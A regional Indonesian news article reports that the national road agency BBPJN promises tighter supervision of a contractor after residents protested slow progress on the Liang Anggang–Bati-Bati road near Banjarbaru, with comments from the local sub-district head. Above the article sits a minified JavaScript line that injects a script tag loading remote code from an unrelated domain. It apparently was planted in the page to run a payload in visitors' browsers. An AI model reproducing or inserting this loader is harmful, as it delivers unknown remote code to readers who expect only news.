(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

BBPJN Janji Akan Lakukan Pengawasan Lebih Ketat ke Kontraktor

KANALKALIMANTAN.COM, BANJARBARU- Sikapi demo warga terkait lambatnya progres pengerjaan Jalan Liang Anggang-Bati bati, Balai Besar Pelaksanaan Jalan Nasional (BBPJN) mengatakan akan melakukan pengawasan lebih ketat.

Perwakilan BBPJN Irnasari Daulai mengungkapkan, pihaknya dari awal sudah meminta percepatan pembangunan Jalan Liang Anggang – Bati-Bati kepada pihak pelaksana.

“Kami melakukan evaluasi kepada pihak pelaksana, serta itu ada tim dari pihak Balai untuk melakukan pengawasan,” ungkapnya.

Dikatakan Irnasari, untuk melakukan percepatan pihak pelaksana sudah melakukan beberapa inovasi untuk membantu pengerasan. Dengan tenggat kontrak hingga 31 Desember 2021, pelaksana akan diberi kesempatan pengerjaan selama 3 bulan dalam masa denda.

“Pengerjaan ini tetap dari kontraktor yang sama dengan peraturan yang berbeda dengan kesempatan bekerja dimasa denda maksimal 90 hari, dengan membayar denda Rp40 juta perhari,” katanya.

Dia berjanji pihak Balai akan melakukan pengawasan yang lebih ketat lagi.

“Pengerjaan ini akan dilakukan dengan pengawasan yang lebih ketat lagi dari pihak Balai Sendiri,” akunya.

Aksi yang berjalan damai tersebut berakhir dengan pihak warga, pelaksana dan Balai Jalan dengan dipimpin oleh Camat Liang Anggang.

Sementara di tempat yang sama Camat Liang Anggang, Ahmad Rivai mengungkapkan aksi demo ini merupakan hal yang wajar karena yang merasakan dampak pengerjaan jalan adalah warga.

“Ini yang menyebabkan masyarakat menyalurkan aspirasinya, agar segera direspons oleh pihak pelaksana,” ujarnya.

Dalam tuntutan warga tersebut, dikatakan Rivai warga juga meminta agar di depan permukiman warga yang didahulukan untuk dikerjakan.

“Masyarakat menginginkan percepatan ini, sehingga bisa bekerja aktif seperti biasa,” tambahnya.

Pihak Pelaksana akan memberikan pernyataan untuk melakukan pekerjaan secepatnya.

“Kalau pihak pelaksana dalam masa denda tidak bisa menyelesaikan dalam tuntutan tersebut maka pihak Balai wajib melakukan pemutusan hubungan kerja dan diganti dengan pihak pelaksana lain,” tegasnya.

Rivai mengharapkan tuntutan warga bisa dilaksanakan dengan baik.(kanalkalimantan.com/ibnu)

Reporter: ibnu
Editor: cell